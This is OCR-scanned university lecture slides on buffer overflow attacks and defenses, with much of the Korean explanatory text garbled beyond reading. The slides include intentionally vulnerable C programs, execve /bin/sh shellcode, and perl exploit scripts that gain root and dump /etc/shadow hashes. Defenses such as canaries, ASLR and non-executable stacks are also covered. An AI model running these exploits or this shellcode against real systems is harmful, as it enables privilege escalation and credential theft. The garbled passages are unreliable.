Chap 10.
Buffer Overflow
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Buffer Overflow

B a very common attack mechanism
= 1988 the Morris Worm7} X2 At 5 4t
» HIHO| M= HO|HS 275 AASHA| s, ZE21M 9|
HFostde 08
B prevention techniquesO| Y 2{ X US
B OjTS| B2 2yl O
» HE| HIZE|O] AFES Q2 2EHM AL S8 =2 20| 0|2 Y
a7t 9l BEJt E=Rye
= Shellshock — bashdoor. bash shell2| F kM. 2014EH0f A
« Hearthbleed — OpenSSL9| F 2. 20144 &+ A
» ZEE{HHO| BFO|TH 20| O HS| A& E
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History of Buffer Overflow Attacks

1988 The Morris Intemet Worm uses a buffer overflow exploit in "fingerd™ as one
of its attack mechanisms.

1995 A buffer overflow in NCSA httpd 1.3 was discovered and published on the
Bugtraq mailing list by Thomas Lopatic.

1996 Aleph One published "Smashing the Stack for Fun and Profit" in Phrack
magazine, giving a step by step introduction to exploiting stack-based buffer
overflow vulnerabilities.

2001 The Code Red worm exploits a buffer overflow in Microsoft IIS 5.0.

2003 The Slammer worm exploits a buffer overflow in Microsoft SQL Server 2000.

2004 The Sasser worm exploits a buffer overflow in Microsoft Windows 2000/XP
Local Security Authority Subsystem Service (LSASS).

http://insecure.org/stf/smashstack.html
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Buffer Overflow/Buffer Overrun

B A buffer overflow (buffer overrunO|2} 1 & )

= NISTO|A Ct2 1} 20| ™ol =l

= “A condition at an interface under which
more input can be placed into a buffer or data holding area
than the capacity allocated, overwriting other information.
Attackers exploit such a condition
to crash a system or to insert specially crafted code
that allows them to gain control of the system.”
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Buffer Overflow Basics

B Buffer overflow programming error
» I 2 M ATV} fixed-sized bufferQ| X|3t=2 HO{MA HO|EHE XT
Shaxt she Z20f i
B QI O 22| QX|0f CHSt overwrites
= 0| &|X|0f| program variables, parameters, or program control
flow dataZ} S 4= U2
HIH = Z 2 M| A 9| stack, heap EE = data section0f 2|X|
B buffer overflow2| Z 1t
» T2 OO &4
» QMK ot =22 AlSH S E (control transfer)
« 22| HZ2 2 (violations)
= SRV HEGE BE A

oAICHSt A 5

Basic Buffer Overflow Example

3

int main(int argc, char *argv[])
{
int valid = @;
char stri[8] = "1234567";
char str2[8]; input buffer
gets(str2);
printf("str2 = ¥s / strl = %s\n", str2, strl); =A =7} dist
return @;
}
strl }
ets
str2 gets) }
auoera 6

$ cc -g -0 bufl bufl.c

$ ./bufl

abcdefg

str2 = abcdefg / strl = 1234567

$ ./bufl

abcdefgABC

str2 = abcdefgABC / strl = BC

$ ./bufl

abcdefgABCDEFGH1234567890

str2 = abcdefgABCDEFGH1234567890 / strl = BCDEFGH1234567890
$ ./bufl

abcdefgABCDEFGH123456789012345

str2 = abcdefgJABCDEFGH123456789012345 / strl = BCDEFGH123456789012345
MIOHEOM F

B casel: Z0|<8 Sstrl L2 24
B case?2: 8<Z0|<16 >strl L2 BHZH
B case3: Z0|>16 ->strl |8 M2 HZA, Ct
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Buffer Overflow Attacks

B I ZAX}7} buffer overflow 32 &}7|
= SAXTEQIROM 7T GO
= 2 2 0j| M buffer overflow | 2F
=13
O

7t 22| ME &=
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Programming Language History Stack Buffer Overflows
B 7| A =0 M, Z1A0f0] 2[shM X2|E OlOo|E= Z2 MMl 2fX| B HIH 7t stackOj] @{X|2 o] Ll
AH Es 0220 HEE = stack smashingO|2t1 = &t
B o Sel A0 =M= MY E HO|H0 CHet SHHE sS4 S » AALE|X| %L buffer overflowE 0| 310 224
XH O X
ekl m orE 30| oHe| 2l 0|8 g
B stack frame
s Sh=0FC} stackO]| XFAIQ| stack frame 272 AR
» 2
« 0| M CHE S E 2 EE 0] return address X &3 7t
. SEBl= SEA ==l = o|s PNy
« buffer overflowo]| |2k D ESt= g2 parametergS HESH| fIot M-S
cHEMQI LA D7 « HIX|AEH 3t LA HE St
A2 E = frame pointer:
* unsafedtn F et IAE « SIXf| Bt2=0| stack frame2| 7| & Y X|E KNESI= | K| AH
DT O ° LR}
. . Process image in
Stack Frame with Functions P and Q Programs and Processes e R
Kernel
- Code
B S pPojA Bt Q2 =t P Returnadar m O 2 2|0 process& &7t HYX| md
0] stack frame 7+
= o Old Frame Pointer
1. parameter== push Stack 1
« 7 Y02 ME param 2 =
2. 34 Q2 = o] : viemory
return address X{ &} pn
N ) Program File Heap T
3. & X} o| frame pointer X &t Q:| ReturnAddrinP | | |
FP= &ixjo| SP2 HZ Frame ..
- = 2l E___'_ ° Old Frame Pointer- Pointer Global Data Global Data
4. local variableg &7t 2t
» ZQITZH 37| OH2 stack ocatz 4 T i
pointer ZF A p——
o N [« Program Program
5. gt Q2| body A3l i Pointer _— ek
B buffer overflow= return address
2t frame pointerE HZAA|Z =
(o 1 T L - . A |
) I 3 Y e D
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Classic Stack Overflow

void hello(char *tag)

{
char inp[16]:

printf ("Enter value for %s: ", tag):;
gets(inp);
printf("Hello your %s is %s\n", tag, inp):

(a) Basic stack overflow C code

§ cc -g -o buffer2 buffer2.c

$ ./buffer2

Enter value for name: Bill and lLawrie - 16=X} O/0t9| O|E
Hello your name is Bill and Lawrie

buffer2 done

$ ./buffer2
Enter value for name: XXXXOOOUOOCOOOCOOIGOCOUOOCOOOCOONNX. S 7| 0|2
Segmentation fault (core dumped)

I
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Classic Stack Overflow

$ perl -e 'print pack("H*", "414243444546474851525354555657586162636465666768
08fcffbf948304080adedededela") ;" | ./buffer2

Enter value for name:

Hello your Re?pyy]uER is ABCDEFGHQRSTUVWXabcdefguyu

Enter value for Kyyu:

Hello your Kyyu is NNNN

Segmentation fault (core dumped)

B A0 O[T BXAtE S 7HEHS| M B5t7| 2/t
perl| pack2t= ALE 7ts
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Classic stack overflow (Stack)

Memory Bafore After Contains
Address gets(inp) gets (inp) value of
bffffbe0 3e850408 ooBs0408 tag
> . - . . - . -
bffffhdc fos3o408 94830408 return addr
bffffbdse e8fbffbf esffffbf old base ptr
bffffbdd 60840408 65666768
T e fgh
bffffhdo 30561540 61626364
oV . @ abcd
bffffbee 1b840408 55565758 inp[12-15]
P UVWX
bffffbce eBfbffbf 51525354 inp(8-11]
o E die QRST
bffffbcd dcfcffbf 45464748 inp[4-7]
£ i i EFGH
bffffbco 34fcffbf 41424344 inp[0-3]
4 . . . ABCD
15
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Stack Overflow Example

void getinp(char *inp, int siz)

{
puts ("Input value: "); N
fgets(inp, siz, stdin); buffer overflow 2 X| £ 2|5}
printf ("buffer3 getinp read %s\n", inp): gets CH A0 fgets At

}

void display(char *val)

{
char tmp[l6]: _
sprintf (tmp, "read val: $s\n", val): tmp HIHO| & EA+E 0|
puts (tmp) Ao MEF >

} tmpOj| A| buffer overflow 715

int main(int argc, char *argv[])

char buf[l6];
getinp (buf, sizeof (buf));
display (buf) ;
printf ("buffer3 done\n"):

(a) Another stack overflow C code

A TSt 16




Stack Overflow Example (run)

$ cc -o buffer3 buffer3.c

$ ./buffer3

Input value:

SAFE

buffer3 getinp read SAFE
read val: SAFE

buffer3 done

$ ./buffer3

Input value:

P 4.0.0.0.0.0.0.0 060.0.09.0.4.0.005.0.0.00.0.4.0.0,06.0.6.0.6.04
buffer3 getinp read XXXXKXXHXKXXXXNXX
read val: XXXXXXXXXXAXKXX

buffer3 done
Segmentation fault (core dumped)

(b) Another stack overflow example runs

il L e
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Common Unsafe C Standard Library Routines

gets(char *str) read line from standard input into str

sprintf(char *str, char *format, ...) create str according to supplied format and variables

strcat(char *dest, char *src) append contents of string src to string dest

strcpy(char *dest, char *src) copy contents of string src to string dest

vsprintf(char *str, char *fmt, va_list ap) | Create straccording to supplied format and variables

B unsafe library functions

» str EE= dest?} 7t2| 7| < buffere] 37| 2 & QISX| &S
= buffer overflow 24l Tt
L P i e

Shellcode

B SAXIL NSO 2=

« buffer overflow?} 7}53t HHIHO| ZEE K&
[E 2 MESHA

- Z2IYo| NOjS NEE 34K 2

St

= 07 34X} 2 E = command line mterpreter (shell)2

= 7|h2 2t S > shellcodegtd
B machine code
» IENAM, 2SHAOf 2t CHE

NENE]

» SHAIEE USY| RIBiME OS2 &A0f0f CHet O[37F 2R
= XZ20f= 0|2t 8 S AtS2lotE AFO|ERt =7S0] 2 E

B Metasploit Project

= X E(penetration), IDS MY &, exploit(&&) AL E

tE*‘=01|71I 78 HE NS
= https://lwww.metasploit.com/

AT

&t

rIr
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Example Shellcode

int main(int arge, char *argv(])
{

char *sh;

char *args([2]:

h = "/bin/sh";
args[0] = sh;
args[1l] = NULL;
execve (sh, args, NULL):

(a) Desired shellcode code in C

B Bourne shell£ A3 st= shellcode
= execve &5 ALESI0 S| T2 M AE /bin/sh Z2 2o 2
B Zsho] AlSH
ERECELS
» shellcode2 A2 3E}7| 2|3l Al = position-independent &} OF &t
= shellcode?} MR E= XS 0|2 & 4= 97| 2

A TSt 20




- Position independent x86 assembly code Common x86 Assembly Language Instructions

non copy (move) value from src into dest
nop // end of nop sled MOV src, dest py( )
Jmp find // jump to end of code LEA src, dest copy the address (load effective address) of src into dest
cont: pop fesi // pop address of sh off stack into %esi ! . . .
xor $eax, $eax // zero contents of EAX ADD / SUB src, dest add / sub value in src from dest leaving result in dest
mov %al,0x7 (tesi) // copy zero byte to end of string sh (%esi) EoicalEnow] T - thd 1 = Ttind
lea (%esi), tebx // load address of sh (%esi) into %ebx AND / OR / XOR src, dest ogical and/ or / xor value in src with dest leaving result in dest
mov %ebx, 0x8 (tesi) f/ save address of sh in args[0] (%esi+8) T
s S i s Glbesig sl Do CMP vali, val2 compare vall and val2, setting CPU flags as a result
mov $0xb, tal // copy execve syscall number (11) to AL iump / if zero / if not zero to addr
mov %esi, $ebx // copy address of sh (%esi) tO %ebx JMP /JZ [ INZ addr ! P
lea 0x8 (¥e=si) ,%ecx // copy address of args (%esi+8) to %ecx PUSH src push the value in src onto the stack
lea Oxc(%tesi), tedx // copy address of args[l] (%tesi+c) to %edx _
int $0x80 // software interrupt to execute syscall POP dest pop the value on the top of the stack into dest
find: call cont // call cont which saves next address on stack TK; 4 tadd
sh: .string "/bin/sh " // string constant CALL addr call Tunction at adar
L orh jenace s Lo S any LEAVE clean up stack frame before leaving function
.long 0 // args[l] and also NULL for env array
RET return from function
(b) Equivalent position-independent x36 assembly code INT num software interrupt to access operating system function
90 90 eb la 5e 31 cO 88 46 07 8d le 89 5e 08 89 NOP no operation or do nothing instruction
46 Oc b0 Ob 89 £3 8d 4e 08 8d 56 Oc cd 80 e8 el

ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20

(c) Hexadecimal values for compiled x86 machine code

SHTyet 21 Mo 22
x86 Registers shellcode
- - - =TT N _ _
Sl R N PR S B IMP/CALL 2% O|23}0] XY (“bin/sh")EAE %esiof HZ
%eax | %ax |[%ah |[%al | Accumulators used Iflor arithmetical and 1/0 operations and B EXE 20 EE2X At
execute interrupt calls
%ebx | %bx | %bh [ %bl | Base registers used to access memory, pass system call » %eaxE 092 OHE 11, %alS 2ALE 20 EAHE ZEX}
arguments and return values B XY FAE arg[0]0| AE : 0x8(%esi)

%ecx | Yocx | Y%ch | %cl Counter registers
%edx | %dx | %dh [ %dl | Data registers used for arithmetic operations, interrupt calls
and 10 operations

arg[1] 2f2 0 (NULL)Z BtE : %eaxE Oxc(%esi)0f| = At
B execve A|AH! S = parameter &H|

%ebp Base Pointer containing the address of the current stack
_ frame _ » systemcall Hz 11 : Y%al
%eip Instruction Pointer or Program Counter containing the ~ .
address of the next instruction to be executed » KW 2l (sh) : %ebx € %esi
0, .
D/0esi gggrrggolggex register used as a pointer for string or array . S 01 (args) - Yecx € Ox8(%esi) T=A
%%esp Stack Pointer containing the address of the top of stack « AT Ol= (NULL) : %edx € OxC(%esi) F=2

B A|AH S = :int $0x80

Syscall # | Param 1 Param 2 Param 3  Param 4 Param 5  Param 6 | Return value

e ebx oo edx L] edi ebp eax

A THEN 23 e Ie il 24




Stack Overflow Attack

§ dir -1 bufferd
-IWSC-XI-X 1 root knoppix 16571 Jul 17 10:4% bufferd

§ whoami

knoppix

§ cat /etc/shadow

cat: /fetc/shadow: Permission denied

§ cat attackl

perl -e ‘'print pack("H*",
"90909090909090909090909090909090" .
"9090909090909090%090909090909090" .
"9090ebla5e31c08846078d1e89520889" .
"460cb00b89£38d4e0B8d560ccdBlelel” .
nEfffffa2f62696e2£7368202020202020" .
"202020202020202038fcffbfcO0fbffbf0a™) ;
print *"whoami\n"}

print "cat /etc/shadow\n";'

§ attackl | bufferd

Enter value for name: Hello your yyy)DAOApy is e?~1AFF.../bin/sh...
root

root:$15rNLId4rXsnka7JlxH7.4UJT419JRLk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::

nobody:*:11453:0:99999:7:::
knoppix:$1SFvESBRBUSEdSFVUuJdKacH8Y0IdnAv/:13346:0:99599:7:1:

oAyl 2

Stack Overflow Variants

B 22 target program
= atrusted system utility
= network service daemon
= commonly used library code
B shellcode 7|5
=« =30 remote shell A&
» 2AXIO|AH do 2 ML= reverse shell 244
= shell& OtE = local exploits AHR
» XY OHE 342 gt Q= firewall rules 223t
» chroot (restricted execution) 2tA S A, A|AEIO| CH &t
o Aot 37|

T 2

Buffer Overflow Defenses
B buffer overflows7} 22| 0| 2 &

L S G
= compile-time 20

s ME2 ZZ2IHOM SHAS U2 = JAEE L35t A2
SEE Y
= run-time g0
= 7|EQ ZE2O-MONM SAS EX|S D FXAT|E AS SH
2%
E TRl z

Compile-Time Defenses: Programming Language

B o209 Q0] MEH ST 13 Q10 A
=« buffer overflow 2 Z0j| ¥ 2A4SIX| UAS

- compiler} 9| ZALZ ARSI, H40| CHSHA SIS/ S
of Choh A 23 9US.
m
- MEAIZHO| HALS B}7| §IBH ZE T} F7}e|0fof 3

- 5 (flexivility)ot OHE i (safety)= Kl AL RO H 0| 5

- Jl7|ol9 HEE REOIN HO|W4S(F o) UL BY
of2t 5t=9)Of xFRIO Tt T
> Fxcetolue Ze A A

n

Ade mofl xefol AZ

A TSt 28




Compile-Time Defenses: Safe Coding Techniques

B C AN E MEdt= A=

[

» NEHO safetyHLb= S 2Edlt 452 H A
- TRI07FAE F40| Fo|E 7|2 MY Urka 7HY
m Tzl = AEE HASHO], unsafe AEE CHA| A1d5t= 20|
Lagl
B (0f) OpenBSD project
» I2OH= 2GHA, BF 2t0|EE 2], S8 REEIEE ZE

o 7|E ZE V(S ZAFE (audit)
= O] 21} 7bE AT 2HM A S oStLtZ Bt

o

il L e

Examples of Unsafe C Code

int copy_buf (char *to, int pos, char *from, int len)
{

int i;

for (i=0: i<len: i+4) { to HI{o| A7|E &X| 2
G pos+len < (tot{ = o] 37]) 0|ofof &

}
return pos;

(a) Unsafe byte copy

short read chunk(FILE f£il, char *to)
{
short len;
fread(&len, 2, 1, f£fil);
fread(to, 1, len, f£fil);
return len;

/* read length of binary data */
/* read len bytes of binary data

(b) Unsafe byte input

AAICSrI 30

Compile-Time Defenses:
Language Extensions / Safe Libraries
B B X He AL RE AL
» H LY U0 i M= 2
» SH LY HIE@ZE) oM = Hoh AjZtol| 27| Rt
(o]

Pl

~
=
~
=

[}

H
2
o7l =0 =H7t A
m O[S CHE24E 2|22 REIo| =g 8l ALE0l 2.
= Z207 5l 2t0|E 22| CHA| Hut e oiof &

(==
= EMAFEE Z2O0 2X Y 7tsd

m CO{0 Lot 2= unsafe EF 2f0[22{2| FEIO| ArE0M LtZ
- OPEA Aol B Y - safe REIO R CfX|
= (0]) Libsafe:

= SAL Q40| BFEOIO|S FoiotHA X G S
X XE==E ZHAt > O stack framellt return TAE B
= X 20|E2{2|2 P, 7| E BF 2f0| 25 2|0

HIE > 7[E Z2O-o| ALY ol E2 ME

o

017t

2 ot

FA

H

oAAITiSal 31

Compile-Time Defenses: Stack Protection

Iy

B S0 entry AEQf exit AEE =7}
. A EY QO] £ 01 HAF
. £A0| YAE| D20 B2 !
B Safeguard — canary A&
= entry ZE = 0| frame pointer 0| canary X%t
» exit A== canaryl| HZE Of & AA}
= canary {= O S5HX| 2ot 517| 2{3liAM

0x gy

random 7} A2 ret addr
- ZRMA HEAI0 Yol e MEstol ME [ p
= Visual C++0f|A| /GS S M & At25IH
al C++ canar
olg{st 7|s M-S local va):rs
« CHA : stack frameQ| X7} HZAE

A TSt 32




B Stackshield2t Return Address Defender (RAD)
- A mQo| TRE HASIA| ¥D HA
= GCC extensions — entry 2 =2t exit AEE F7}
st~ entry A E &= return addressQ| S AR
S = A
» St exit AE = AEHO| Q= return address@} F& S
O] M&E 4S
= HEO0| HALH SA Z2OS T=AE
b
o

copy B3
ret addr
old FP H|
local vars

oiAIC et 33

Run-Time Defenses:
Executable Address Space Protection

By FAXEAMNE-LR 02 E9S 4 2712 X|E
= 022 22| FX[e K- ER
= SPARC/Solaris A|AEHIGA @ISOt AR
= X86 Linux/Unix/Windows systemsOj| A| = Z|Z20f X| &
B executable stack code0f C{st X| 2 2X|
» buffer overflow 522 27| |8} A stackl} heap2 A3 2712

ok
« justin-time ZI |, XfH} BEFQ A|AE QI 2l=A A|2Y X
27|& Asiof AHACE K|S 2 2, 4% 2IH50| oft S8

o WHo| 27

34

Pl i

Run-Time Defenses:
Address Space Randomization

B =9 HO|E 20| X =%
» 2B heap, T G|O|H

Zt T2 M 20 random shift ALE > |X| 0|52 O{FEA &

» 20| 0|8 It FA I7HE AX|TH 22 220 0|8
« O3t =4 Z72HE HA AR
« AEH OIS 1 MB ML O|SoIH T2 130 &

L

BZR7Harget 25 0|53t A4S BIH50H B

B heap §Y9o| HIHQ} = 20| E2{2| &%=9| 2| X|Z random H{X|

&
35
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Run-Time Defenses: Guard Pages

B guard page
TN FASH0M HEEe] 2 Y AHO|0] guard H|Of

XS HHX]
=882 Fo= MMUO| 2FE|0A O] =20 Cieh
A

= S AE
S meAA MBS FRAY.

B guard page2| =%t
» AEH TR QIS ALO|2} heap H{I & AO|0f guard page Hfj X|
H-2 49| page mapping0| ZR35t7| IHZ0f AEA|ZHO] FH|H

)
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Replacement Stack Frame

B buffer@t X%t =l old frame pointer TAE A = diH
= AEHO| X & El old frame pointer= dummy stack frame& & =X
St & g (uH)e
o AKX =71 A =l dummy function@ E returnEl
« T2 X| 0|7} overwrite El bufferd| = shellcodeZ T EHE
B Off-by-one attacks
= coding 52 78 Z7HECH1HIO|E [ 20| EARNE o]
buffer overflow 24 (R AAFO A <, >CAI0]| <=, >= A}2)
= buffer HI 2 /0] old frame pointer?t JUCIH 34 7ts
B Defenses
n S exit AEOA AEH TP Q EE= return address BHE 2 EHX|

ogt
MHI
\d
08
19
|o

2 X|™(non-executable stacks)

P Tl 37

Return to System Call

B AlSHE T} stackOf CH S 524 —return address& E&et4-=2 HY
. CH7H system()at 22 340 Fa AL AFR
» S ZAX= return address@| 2| AEHO|| M &St parameter L
- 47t retumst ol 2to| = 2ja] B4t MY
- AT YH HEH FLE LR ¢
S 210|532 B4E UL SEY 45 US
= strepy()E AtE3}0] shellcodeE stackO| OfH YHO Z EAf
« 2ALEl shellcodeE &=
B Defenses
n B4 exit AEO|A] AEH T2 Q E = return address®| HAE S Et
XSt A8 Ho HHE ALE
= non-executable stacks AF2
= HR22|0f A= AEDFAAH 2F0[E 2| E | 2l2| 2X0f BiX|

AAICSrI 38

Heap Overflow

B HeapOf U= HIHO Cigt 54
» CH7 Z202 [ EQF MY 0] H 2{0]| HiX]|
- SN XNBRPR(AZRIAE S)0|M AL E
» 22 2 28-S 2o M heap S7H0M H22| &2
B No return address — AER T EF2| return address7} H & T X| &2
» 2 NOE O|FAIZ|7|7F 032
= function pointerE E &= AFE X0 Cisi Al function pointer
£ 0|82 34 7ts
B Defenses
u heap° AI°H§7|' %1 X|§
= random 2 2| 32“5;
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Example Heap Overflow Attack

/* record type to allocate on heap */
typedef struct chunk {

char inp([6&4]: /* vulnerable input buffer */
void (*process) (char *); /* pointer to function to process inp */
} chunk t;

void showlen(char *buf)
{
int len;
len = strlen(buf);
printf ("buffer5 read %d chars\n", len):

int main(int argc, char *argv(])
chunk_t *next;

setbuf (stdin, NULL):

next = malloc(sizeof (chunk_t)):
next->process = showlen;

printf ("Enter value: ");

gets (next—>inp) ;
next—)process(next—>inp};
printf ("buffer5 done\n");:

(a) Vulnerable heap overflow C code

LT 40




$ cat attack2

#!/bin/sh

¢ implement heap overflow against program buffer5S
perl -e 'print pack("H*",
"90909050909090902090909090909090" .
"9090ebla5e31c08846078d1e89520889" .
"460chb00b89f38d4e088d560ccd8ledel”
"ffffff2f62696e2£7368202020202020" .
"b89704080a") ;

print "whoami\n";

print "cat /fetc/shadow\n";'

§ attack2 | bufferSs

Enter value:

root
root:51540InmychST3BVS2E30yNRGjGUZzF403/:13347:0:99999:7:::
daemon:*:11453:0:99999:7:::

nobody:*:11453:0:99999:7:::

knoppix:$1$p2wziIMLS$ /yVHPQuUWSkvIUFJIs3b%aj/:13347:0:99999:7:::

Global Data Overflow
m T i T B
» MY HO|HE T2 AC 9 220 X5
= function pointer2} vulnerable buffer7} QICHH 32 7t
= OIH S} process management tables2 0| 2%t &4
= O] HO| 20| = LIE 0| ==E function pointer £{S HZ
B Defenses
. MY 2 YA R
» ot ZOIHE 0|5 - CHE FY Of2ff %]
» Guard pages AHE — T OO K 2f 22| B ALO|Of| HYX|

olr
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Example Global Data Overflow Attack
/* global static data - will be targeted for attack */ 5 cat attack3
struct chunk { !!{blnlsh )
char inp[64]: /* input buffer */ & 1mplement_qlobal data overflow attack against program bufferé
void (*process) (char *); /* pointer to function to process it */ perl -e 'print pack("H*",
} chunk; "90905090902090909090209090909090" .
"9090ebla5e31c08846078d1e89520889" .
void showlen{char *buf) "460cb00b83£38d4e088d560ccdBledel” .
{ "Efffff2f626962f7368202020202020" .
int len; "409704080a") ;
len = strlen(buf): print :whoami\n“: .
printf ("bufferé read %d chars\n", len): print "cat /etc/shadow\n";'
}
§$ attack3 | buffere
int main(int argec, char *argv(]) Enter value:
{ root
setbuf (stdin, NULL): root:$1540InmychST3IBVS2E30YNRGjGUZzF403/:13347:0:99999:7:::
chunk.process = showlen: daemon:*:11453:0:99999:7:::
printf ("Enter value: "): seas
gets (chunk.inp); nobody:*:11453:0:99999:7:::
chunk.process (chunk.inp) ; knoppix:$15p2wziIMLS/yVHPQuwSkvIUFIs3b%a]/:13347:0:99999:7:::
printf ("bufferé done\n"): v
}
(a) Vulnerable global data overflow C code (b) Example global data overflow attack
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